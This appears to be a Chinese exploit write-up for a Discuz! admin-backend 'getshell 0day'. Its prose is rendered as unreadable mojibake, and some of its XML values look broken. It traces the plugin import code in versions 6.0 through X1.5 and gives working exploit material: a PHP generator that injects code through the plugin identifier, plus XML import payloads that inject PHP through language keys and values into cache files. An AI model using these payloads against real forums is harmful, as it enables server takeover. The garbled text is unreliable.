dzÈ«°æ±¾ºóÌ¨ÄÃwebshell0day

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¼ÈÈ»»¹Ã»¹ò£¬ÎÒ¾Í´ÓDiscuz!¹ÅÀÏµÄ6.0°æ±¾¿ªÊ¼£¬Â©¶´¶¼³öÏÖÔÚÀ©Õ¹²å¼þÉÏ£¬ÀûÓÃ·½Ê½ÓÐËù²»Í¬£¬ÏÂÃæ¿ªÊ¼¡£

Ò» Discuz! 6.0 ºÍ Discuz! 7.0
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/include/cache.func.php
01
function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
02
   global $authkey;
03
   if(is_array($cachenames) && !$cachedata) {
04
            foreach($cachenames as $name) {
05
                     $cachedata .= getcachearray($name, $script);
06
            }
07
   }
08

09
   $dir = DISCUZ_ROOT.'./forumdata/cache/';
10
   if(!is_dir($dir)) {
11
            @mkdir($dir, 0777);
12
   }
13
   if($fp = @fopen("$dir$prefix$script.php", 'wb')) {
14
            fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".
15
                     "\n//Created: ".date("M j, Y, G:i").
16
                     "\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");
17
            fclose($fp);
18
   } else {
19
            exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');
20
   }
21
}
ÍùÉÏ·,ÕÒµ½µ÷ÓÃº¯ÊýµÄµØ·½.¶¼ÔÚupdatecacheº¯ÊýÖÐ.
01
   if(!$cachename || $cachename == 'plugins') {
02
            $query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
03
            while($plugin = $db->fetch_array($query)) {
04
                     $data = array_merge($plugin, array('modules' => array()), array('vars' => array()));
05
                     $plugin['modules'] = unserialize($plugin['modules']);
06
                     if(is_array($plugin['modules'])) {
07
                           foreach($plugin['modules'] as $module) {
08
                                    $data['modules'][$module['name']] = $module;
09
                           }
10
                     }
11
                     $queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin'");
12
                     while($var = $db->fetch_array($queryvars)) {
13
                           $data['vars'][$var['variable']] = $var['value'];
14
                     }
15
   //×¢Òâ
16
                     writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin'] = ".arrayeval($data), 'plugin_');
17
            }
18
   }
Èç¹ûÎÒÃÇ¿ÉÒÔ¿ØÖÆ$plugin['identifier']¾ÍÓÐ»ú»á,ËüÊÇplugins±íÀï¶Á³öÀ´µÄ.
È¥ºóÌ¨¿´¿´,Äã¿ÉÒÔ·¢ÏÖidentifier¶ÔÓ¦µÄÊÇÎ¨Ò»±êÊ¾·û.ÁªÏëÏÂ¶þ´Î×¢Éä,µ¥ÒýºÅ´ÓÊý¾Ý¿â¶Á³öºóÐ´ÈëÎÄ¼þÊ±²»»á±»×ªÒå.¼úÐ¦Ò»ÏÂ.
µ«ÊÇ¡¡Äã¶®µÄ,µ±ÄãÈ¥Ò°Çøµ¥×¥¶ÔÃæDPSÊ±,·¢ÏÖ¶ÔÃæ¶×ÁË4¸öµÐÈËµÄÐÄÇé.

/admin/plugins.inc.php
01
            if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
02
                     if(!$newname) {
03
                           cpmsg('plugins_edit_name_invalid');
04
                     }
05
                     $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
06
   //ÏÂÃæÕâ¸öÈÃÈËµ°ÌÛÓûÁÑ,ispluginkeyÅÐ¶¨newidentifierÊÇ·ñÓÐÌØÊâ×Ö·û
07
                     if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
08
                           cpmsg('plugins_edit_identifier_invalid');
09
                     }
10
                     $db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
11
            }
12
//Ð´Èë»º´æÎÄ¼þ
13
            updatecache('plugins');
14
            updatecache('settings');
15
            cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');
»¹ºÃDiscuz!Ìá¹©ÁËµ¼ÈëµÄ¹¦ÄÜ,ºÃ±ÈÄãÓÐÒþÉí,¶ÔÃæÃ»·Û.ÄãÓÐ¼²·ç²½,¶ÔÃæÃ»¿Ø.ºÃ´õ¸øÔÛÁôÌõ»îÂ·.
Ô¤ÀÀÔ´´úÂë´òÓ¡¹ØÓÚ
01
elseif(submitcheck('importsubmit')) {
02

03
            $plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);
04
            $pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
05
//½âÂëºóÃ»ÓÐÅÐ¶¨
06
            if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {
07
                     cpmsg('plugins_import_data_invalid');
08
            } elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
09
                     cpmsg('plugins_import_version_invalid');
10
            }
11

12
            $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray}' LIMIT 1");
13
//ÅÐ¶ÏÊÇ·ñÖØ¸´,Ö±½ÓÈë¿â
14
            if($db->num_rows($query)) {
15
                     cpmsg('plugins_import_identifier_duplicated');
16
            }
17

18
            $sql1 = $sql2 = $comma = '';
19
            foreach($pluginarray['plugin'] as $key => $val) {
20
                     if($key == 'directory') {
21
                           //compatible for old versions
22
                           $val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
23
                     }
24
                     $sql1 .= $comma.$key;
25
                     $sql2 .= $comma.'\''.$val.'\'';
26
                     $comma = ',';
27
            }
28
            $db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
29
            $pluginid = $db->insert_id();
30

31
            foreach(array('hooks', 'vars') as $pluginconfig) {
32
                     if(is_array($pluginarray[$pluginconfig])) {
33
                           foreach($pluginarray[$pluginconfig] as $config) {
34
                                    $sql1 = 'pluginid';
35
                                    $sql2 = '\''.$pluginid.'\'';
36
                                    foreach($config as $key => $val) {
37
                                             $sql1 .= ','.$key;
38
                                             $sql2 .= ',\''.$val.'\'';
39
                                    }
40
                                    $db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");
41
                           }
42
                     }
43
            }
44

45
            updatecache('plugins');
46
            updatecache('settings');
47
            cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');
48

49
   }
Ëæ±ãÐÂ½¨Ò»¸ö²å¼þ,identifierÎªshell,Éú³ÉÎÄ¼þÂ·¾¶¼°ÄÚÈÝ.È»ºóµ¼³ö±¸ÓÃ.
/forumdata/cache/plugin_shell.php
01
<?php
02
//Discuz! cache file, DO NOT modify me!
03
//Created: Mar 17, 2011, 16:56
04
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
05

06
$_DPLUGIN['shell'] = array (
07
'pluginid' => '11',
08
'available' => '0',
09
'adminid' => '0',
10
'name' => 'Getshell',
11
'identifier' => 'shell',
12
'datatables' => '',
13
'directory' => '',
14
'copyright' => '',
15
'modules' =>
16
array (
17
),
18
'vars' =>
19
array (
20
),
21
)?>
ÎÒÃÇ¿ÉÒÔÊäÈëÈÎÒâÊý¾Ý,Î¨Ò»Òª×¢ÒâµÄÊÇÎÄ¼þÃûµÄºÏ·¨ÐÔ.¸ÐÐ»Î¢Èí,ÏÂÃæµÄÎÄ¼þÃûÊÇºÏ·¨µÄ.

/forumdata/cache/plugin_a']=phpinfo();$a['a.php
01
<?php
02
//Discuz! cache file, DO NOT modify me!
03
//Created: Mar 17, 2011, 16:56
04
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
05

06
$_DPLUGIN['a']=phpinfo();$a['a'] = array (
07
'pluginid' => '11',
08
'available' => '0',
09
'adminid' => '0',
10
'name' => 'Getshell',
11
'identifier' => 'shell',
12
'datatables' => '',
13
'directory' => '',
14
'copyright' => '',
15
'modules' =>
16
array (
17
),
18
'vars' =>
19
array (
20
),
21
)?>
×îºóÊÇ±àÂëÒ»´Î,¸ø³ÉExp:
01
<?php
02
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
03
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
04
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
05
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
06
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
07
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
08
fQ=="));
09
//print_r($a);
10
$a['plugin']['name']='GetShell';
11
$a['plugin']['identifier']='a\']=phpinfo();$a[\'';
12

13
print(base64_encode(serialize($a)));
14
?>

7.0Í¬Àí,´ó¼Ò¿ÉÒÔ×Ô¼ºÈ¥²âÊÔ¿©.Èç¹ûÄãÊ¹ÓÃÉÏÃæµÄ´úÂë,Çë¹´Ñ¡"ÔÊÐíµ¼Èë²»Í¬°æ±¾ Discuz! µÄ²å¼þ"

¶þ Discuz! 7.2 ºÍ Discuz! X1.5

ÒÔÏÂÒÔ7.2ÎªÀý

/admin/plugins.inc.php
01
elseif($operation == 'import') {
02

03
   if(!submitcheck('importsubmit') && !isset($dir)) {
04

05
/*Î´Ìá½»Ç°±íµ¥ÉñÂíµÄ*/
06

07
   } else {
08

09
            if(!isset($dir)) {
10
//µ¼ÈëÊý¾Ý½âÂë
11
                     $pluginarray = getimportdata('Discuz! Plugin');
12
            } elseif(!isset($installtype)) {
13
/*Ê¡ÂÔÒ»²¿·Ö*/
14
            }
15
//ÅÐ¶¨ÄãÃÃ°¡,Á½±é°¡Á½±é
16
            if(!ispluginkey($pluginarray['plugin']['identifier'])) {
17
                     cpmsg('plugins_edit_identifier_invalid', '', 'error');
18
            }
19
            if(!ispluginkey($pluginarray['plugin']['identifier'])) {
20
                     cpmsg('plugins_edit_identifier_invalid', '', 'error');
21
            }
22
            if(is_array($pluginarray['hooks'])) {
23
                     foreach($pluginarray['hooks'] as $config) {
24
                           if(!ispluginkey($config['title'])) {
25
                                    cpmsg('plugins_import_hooks_title_invalid', '', 'error');
26
                           }
27
                     }
28
            }
29
            if(is_array($pluginarray['vars'])) {
30
                     foreach($pluginarray['vars'] as $config) {
31
                           if(!ispluginkey($config['variable'])) {
32
                                    cpmsg('plugins_import_var_invalid', '', 'error');
33
                           }
34
                     }
35
            }
36

37
            $langexists = FALSE;
38
//ÄãÓÐÕÅÁ¼¼Æ,ÎÒÓÐ¹ýÇ½ÌÝ
39
            if(!empty($pluginarray['language'])) {
40
                     @mkdir('./forumdata/plugins/', 0777);
41
                     $file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php';
42
                     if($fp = @fopen($file, 'wb')) {
43
                           $scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';
44
                           $templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';
45
                           $installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';
46
                           fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
47
                           fclose($fp);
48
                     }
49
                     $langexists = TRUE;
50
            }
51

52
/*´¦ÀíÉñÂíµÄ*/
53
            updatecache('plugins');
54
            updatecache('settings');
55
            updatemenu();
56

57
/*Ê¡ÂÔ²¿·Ö´úÂë*/
58

59
}
ÏÈ¿´µ¼ÈëÊý¾ÝµÄ¹ý³Ì,Discuz! 7.2Ö®ºóµÄµ¼ÈëÊý¾ÝÊ¹ÓÃXML,µ«ÊÇ7.2±£³ÖÁËÏòÏÂ¼æÈÝ.X1.5·ÏÆúÁË.
01
function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {
02
   if($GLOBALS['importtype'] == 'file') {
03
            $data = @implode('', file($_FILES['importfile']['tmp_name']));
04
            @unlink($_FILES['importfile']['tmp_name']);
05
   } else {
06
            $data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];
07
   }
08
   include_once DISCUZ_ROOT.'./include/xml.class.php';
09
   $xmldata = xml2array($data);
10
   if(!is_array($xmldata) || !$xmldata) {
11
//ÏòÏÂ¼æÈÝ
12
            if($name && !strexists($data, '# '.$name)) {
13
                     if(!$ignoreerror) {
14
                           cpmsg('import_data_typeinvalid', '', 'error');
15
                     } else {
16
                           return array();
17
                     }
18
            }
19
            $data = preg_replace("/(#.*\s+)*/", '', $data);
20
            $data = unserialize(base64_decode($data));
21
            if(!is_array($data) || !$data) {
22
                     if(!$ignoreerror) {
23
                           cpmsg('import_data_invalid', '', 'error');
24
                     } else {
25
                           return array();
26
                     }
27
            }
28
   } else {
29
//XML½âÎö
30
            if($name && $name != $xmldata['Title']) {
31
                     if(!$ignoreerror) {
32
                           cpmsg('import_data_typeinvalid', '', 'error');
33
                     } else {
34
                           return array();
35
                     }
36
            }
37
            $data = exportarray($xmldata['Data'], 0);
38
   }
39
   if($addslashes) {
40
//daddslashesÔÚÁ½¸ö°æ±¾µÄ´¦Àíµ¼ÖÂÁËExp²»ÄÜÍ¨ÓÃ.
41
            $data = daddslashes($data, 1);
42
   }
43
   return $data;
44
}
ÅÐ¶¨ÁËidentifierÖ®ºó,7.0°æ±¾Ö®Ç°µÄÂ©¶´¾Í²»´æÔÚÁË.µ«ÊÇËüÓÖ¼ÓÈëÁËÓïÑÔ°ü¡¡
ÎÒÃÇÖ»Òª¿ØÖÆscriptlangstr»òÕßÆäËüÈÎºÎÒ»¸ö¾Í¿ÉÒÔÁË¡£
01
function langeval($array) {
02
   $return = '';
03
   foreach($array as $k => $v) {
04
//Key¹ýÂËÁËµ¥ÒýºÅ,µ«ÊÇÖ»¹ýÂËÁËµ¥ÒýºÅ,¿ÉÒÔÀûÓÃ\·ÏµôºóÃæµÄµ¥ÒýºÅ
05
            $k = str_replace("'", '', $k);
06
//ÏÂÃæµÄÄã¾ø¶Ô¿´²»¶®°¡¿´²»¶®,Äãµ½µ×ÒªÈË¼ÒÔõÃ´ÑùÂï?Äã¶Ô\ÓÐ°®?
07
            $return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";
08
   }
09
   return "array(\n$return);\n\n";
10
}
KeyÕâÀï²»Í¨ÓÃ.

7.2
01
function daddslashes($string, $force = 0) {
02
   !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
03
   if(!MAGIC_QUOTES_GPC || $force) {
04
            if(is_array($string)) {
05
                     foreach($string as $key => $val) {
06
                           $string[$key] = daddslashes($val, $force);
07
                     }
08
            } else {
09
                     $string = addslashes($string);
10
            }
11
   }
12
   return $string;
13
}
X1.5
01
function daddslashes($string, $force = 1) {
02
   if(is_array($string)) {
03
            foreach($string as $key => $val) {
04
                     unset($string[$key]);
05
   //¹ýÂËÁËkey
06
                     $string = daddslashes($val, $force);
07
            }
08
   } else {
09
            $string = addslashes($string);
10
   }
11
   return $string;
12
}
»¹ÊÇ¿´ÏÂshell.lang.phpµÄÎÄ¼þ¸ñÊ½.
1
<?php
2
$scriptlang['shell'] = array(
3
   'a' => '1',
4
   'b' => '2',
5
);
6

7
?>
7.2°æ±¾Ã»ÓÐ¹ýÂËKey,ËùÒÔÖ±½ÓÓÃ\·Ïµôµ¥ÒýºÅ.
X1.5,µ¥ÒýºÅ×ªÒåºó±äÎª\',ÔÙ±»Ìæ»»Ò»´Î',»¹ÊÇÁôÏÂÁË\

¶ø$vÔÚÁ½¸ö°æ±¾ÖÐ¹ýÂËÏàÍ¬,±È½ÏÍ¨ÓÃ.

X1.5ÖÁÉÙ¸±Õ¾³¤²Å¿ÉÒÔ¹ÜÀíºóÌ¨,ËäÈ»¿´²»µ½²å¼þÑ¡Ïî,µ«ÊÇ¿ÉÒÔÖ±½Ó·ÃÎÊ/admin.php?frames=yes&action=pluginsÌí¼Ó²å¼þ

$vÍ¨ÓÃExp:
01
<?xml version="1.0" encoding="ISO-8859-1"?>
02
<root>
03
   <item id="Title"><!]></item>
04
   <item id="Version"><!]></item>
05
   <item id="Time"><!]></item>
06
   <item id="From"><!]></item>
07
   <item id="Data">
08
            <item id="plugin">
09
                     <item id="available"><!]></item>
10
                     <item id="adminid"><!]></item>
11
                     <item id="name"><!]></item>
12
                     <item id="identifier"><!]></item>
13
                     <item id="description"><!]></item>
14
                     <item id="datatables"><!]></item>
15
                     <item id="directory"><!]></item>
16
                     <item id="copyright"><!]></item>
17
                     <item id="modules"><!]></item>
18
                     <item id="version"><!]></item>
19
            </item>
20
            <item id="version"><!]></item>
21
            <item id="language">
22
                     <item id="scriptlang">
23
                           <item id="a"><!]></item>
24
                           <item id=");phpinfo();?>"><!]></item>
25
                     </item>
26
            </item>
27
   </item>
28
</root>
7.2 KeyÀûÓÃ
01
<?xml version="1.0" encoding="ISO-8859-1"?>
02
<root>
03
   <item id="Title"><!]></item>
04
   <item id="Version"><!]></item>
05
   <item id="Time"><!]></item>
06
   <item id="From"><!]></item>
07
   <item id="Data">
08
            <item id="plugin">
09
                     <item id="available"><!]></item>
10
                     <item id="adminid"><!]></item>
11
                     <item id="name"><!]></item>
12
                     <item id="identifier"><!]></item>
13
                     <item id="description"><!]></item>
14
                     <item id="datatables"><!]></item>
15
                     <item id="directory"><!]></item>
16
                     <item id="copyright"><!]></item>
17
                     <item id="modules"><!]></item>
18
                     <item id="version"><!]></item>
19
            </item>
20
            <item id="version"><!]></item>
21
            <item id="language">
22
                     <item id="scriptlang">
23
                           <item id="a\"><!]></item>
24
                     </item>
25
            </item>
26
   </item>
27
</root>
X1.5
01
<?xml version="1.0" encoding="ISO-8859-1"?>
02
<root>
03
   <item id="Title"><!]></item>
04
   <item id="Version"><!]></item>
05
   <item id="Time"><!]></item>
06
   <item id="From"><!]></item>
07
   <item id="Data">
08
            <item id="plugin">
09
                     <item id="available"><!]></item>
10
                     <item id="adminid"><!]></item>
11
                     <item id="name"><!]></item>
12
                     <item id="identifier"><!]></item>
13
                     <item id="description"><!]></item>
14
                     <item id="datatables"><!]></item>
15
                     <item id="directory"><!]></item>
16
                     <item id="copyright"><!]></item>
17
                     <item id="modules"><!]></item>
18
                     <item id="version"><!]></item>
19
            </item>
20
            <item id="version"><!]></item>
21
            <item id="language">
22
                     <item id="scriptlang">
23
                           <item id="a'"><!]></item>
24
                     </item>
25
            </item>
26
   </item>
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